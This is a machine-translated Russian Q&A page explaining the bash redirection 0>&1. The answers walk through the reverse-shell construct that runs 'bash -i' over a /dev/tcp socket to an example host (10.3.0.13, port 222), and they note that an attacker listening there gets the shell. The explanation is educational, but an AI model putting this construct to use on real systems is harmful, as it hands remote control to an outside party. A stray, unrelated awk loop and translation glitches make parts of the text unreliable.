Что означает перенаправление оболочки 0>&1?

попробуйте так for d in words/*; do for f in ./words/$d/*{0..9}.txt; do awk -f script.awk $f; done

5
28.05.2019, 23:46
2 ответа

&> file сам по себе такой же, как > file 2>&1, то есть открыт fileв режиме записи -только для файлового дескриптора 1 и дублирует этот файловый дескриптор 1 в файловый дескриптор 2, так что оба fd 1 и 2 (stdout и stderr )указывают на это описание открытого файла

0>&1(то же, что и 0<&1или <&1), добавляет в список 0 (stdin ). Он также дублирует fd 1 в 0 (fd 0 делается так, чтобы он указывал на тот же ресурс, на который указывает fd 1 ).

Теперь при выполнении > /dev/tcp/host/portв bash(, как и в ksh, где функция происходит из ), вместо выполнения open(file, O_WRONLY)bashсоздает TCP-сокет и подключает его к host:port. Это не запись -только перенаправление, это сетевой сокет чтения + записи.

Таким образом, вы получаете fds 0, 1 и 2 из bash -i, являющиеся сокетом TCP. Когда bash -iчитает на своем стандартном вводе, он читает из сокета, поэтому из того, что находится на другом конце host:post, и когда (или любая запущенная оттуда команда )записывает в fd 1 или 2, это отправлено через этот сокет.

10
27.01.2020, 20:37

Давайте пошагово.

  1. bash -i:открывает интерактивную оболочку
  2. &>:перенаправляет стандартный вывод и ошибку на сокет, открытый на IP 10.3.0.13, который будет прослушивать порт 222
  3. 0>&1:Мне нравится читать как 0<&1. Это буквально означает, что «0» присоединен к «1», что означает, что стандартный ввод подключен к стандартному выходу, а из пункта 2 мы знаем, что стандартный ввод для этого процесса bash доступен злоумышленнику, прослушивающему порт 222.
0
15.09.2021, 12:28

Теги

Похожие вопросы